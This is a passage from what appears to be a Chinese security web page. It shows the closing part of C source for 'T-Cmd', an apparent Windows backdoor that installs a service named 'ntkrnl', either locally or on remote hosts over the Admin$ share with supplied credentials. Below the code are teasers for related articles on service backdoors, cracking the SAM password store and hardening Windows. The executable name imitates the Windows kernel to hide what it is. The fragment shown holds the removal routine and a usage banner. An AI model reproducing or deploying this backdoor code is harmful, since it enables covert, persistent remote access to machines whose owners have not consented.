strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
return ;
}

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}

printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);

printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}

return ;
}

void Start()
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");
printf("\t\t---[ HomePage: www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003 ]---\n\n");
return ;
}

void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");
printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n");
printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}

(0)

相关推荐

  • 浅析Windows 2000/XP服务与后门技术

    一.序言 Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护进程(daemon).它们大多是控制台程序,不过也有少数的GUI程序.本文所涉及到的服务程序仅限于Windows2000/XP系统中的一般服务程序,不包含Windows9X. 二.Windows服务简介 服务控制管理器拥有一个在注册表中记录的数据库,包含了所有已安装的服务程序和设备驱动服务程序的相关信息.它允许系统管理员为

  • Windows 2000/XP 下巧拒强行关机的方法

    从去年8月到现在,冲击波和震荡波让无数人的爱机无数次重启,折腾得要命.当然现在有了补丁,有了专杀工具,它们的威力已大大减弱.但还是常有一些人遭受它们的毒害,由于重启不得不关闭看得正好的电影,中止运行处于关键阶段的程序,因而丢失重要的数据,让人痛恨不已!那么能不能阻止由冲击波和震荡波引起的强制重启,先做完重要的工作,然后再去收拾这两个家伙呢? 为找到答案,我们有必要先了解一下WINDOWS XP的关机.Windows XP系统通过一个名为Shutdown.exe的程序来完成关机操作(位置在Wind

  • Win 2000/XP蓝屏解决实用技巧

    虽然基于NT架构的Windows 2000/XP系统稳定性已经大大增强,甚至Windows XP号称"从不死机",但我们仍然会不时看到如图1所示的蓝色警报信息,这就是通常所说的"蓝屏",究竟是怎么回事呢?  一.Windows 2000/XP爆发蓝色警报的原因 Windows 2000/XP采用了分层结构,它的两个层又称模式,分别为用户模式(User Mode)和内核模式(Kernel Mode),应用程序是无法直接访问硬件设备的,只有借助驱动程序才能直接访问. 不

  • 防范非法用户入侵Win 2000/XP系统七招

    本文通过七步设置介绍了针对W indows 2000和Windows XP操作系统如何防范非法用户入侵的"七招". 第一招:屏幕保护 在Windows中启用了屏幕保护之后,只要我们离开计算机(或者不操作计算机)的时间达到预设的时间,系统就会自动启动屏幕保护程序,而当用户移动鼠标或敲击键盘想返回正常工作状态时,系统就会打开一个密码确认框,只有输入正确的密码之后才能返回系统,不知道密码的用户将无法进入工作状态,从而保护了数据的安全. 提示:部分设计不完善的屏幕保护程序没有屏蔽系统的&quo

  • 浅析2004年出现的4种新后门技术

    曾经饱受木马.后门(以下统称后门)侵害的人们都不会忘记机器被破坏后的惨象,于是人们展开了积极的防御工作,从补丁到防火墙,恨不得连网线都加个验证器,在多种多样的防御手法夹攻下,一大批后门倒下了,菜鸟们也不用提心吊胆上网了-- 可是后门会因此罢休吗?答案当然是否定的.君不见,在风平浪静的陆地下,一批新的后门正在暗渡陈仓-- 1.反客为主的入侵者 黑客A连接上了网络,却不见他有任何行动,他在干什么呢?我们只能看见他燃起一支烟,似乎在发呆--过了一会儿,他突然把烟头一丢,双手迅速敲击键盘,透过屏幕,我们

  • Windows 2000、XP、2003登录密码恢复攻略

    一.删除SAM文件,清除Administrator账号密码 二.从SAM文件中查找密码        1.L0phtCrack (LC)        2.LCP        3.SamInside pro 三.用Net User命令恢复系统登陆用户密码 四.用密码重设盘设新密码 五.修改屏保文件法 六.使用软件修改密码 Windows XP 2000 NT Password Recovery Key CleanPwd Offline NT Password & Registry Editor

  • 修改注册表加强Windows 2000安全

    1.设置生存时间 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128) 说明:指定传出IP数据包中设置的默认生存时间(TTL)值.TTL决定了IP数据包在到达目标前在网络中生存的最大时间.它实际上限定了IP数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机操作系统. 2.防止ICMP重定向报文的攻击 HKE

  • 用windows 2000的IP安全策略封闭端口的办法

    黑客大多通过端口进行入侵,所以你的服务器只能开放你需要的端口,那么你需要哪些端口呢?以下是常用端口,你可根据需要取舍: 80为Web网站服务:21为FTP服务:25 为E-mail SMTP服务:110为Email POP3服务. 其他还有SQL Server的端口1433等,你可到网上查找相关资料.那些不用的端口一定要关闭!关闭这些端口,我们可以通过Windows 2000的安全策略进行. 借助它的安全策略,完全可以阻止入侵者的攻击.你可以通过"管理工具→本地安全策略"进入,右击&q

  • [图文]Windows 2000 IIS 安装、配置(WEB篇)

    Windows 2000 Server.Windows 2000 Advanced Server 以及 Windows 2000 Professional 的默认安装都带有 IIS ,也可以在 Windows 2000 安装完毕后加装 IIS. IIS 是微软出品的架设 WEB.FTP.SMTP 服务器的一套整合软件,捆绑在 Windows2000/NT 中,可以在控制面板的添加/删除程序中选择添加删除 Windows 组件中选择添加 IIS 服务.如下图: IIS 默认的 WEB (主页)文件

  • Windows 2000与NT Server 4.0互连

    Windows 2000是一个高度集成的网络环境,它不需要任何客户端软件即可登录到Netware和Windows NT Server 4.0.Windows Advance Server等网络中.如果用户同时使用多个网络,则只要在不同的网络中有相同的用户名及口令,即可同时登录到已连接的所有网络中. 下面从配置TCP/IP协议开始,介绍如何进行设置以使Windows 2000能登录到Windows NT Server 4.0上. 安装设置协议 TCP/IP通讯协议过去仅在大型网络中

随机推荐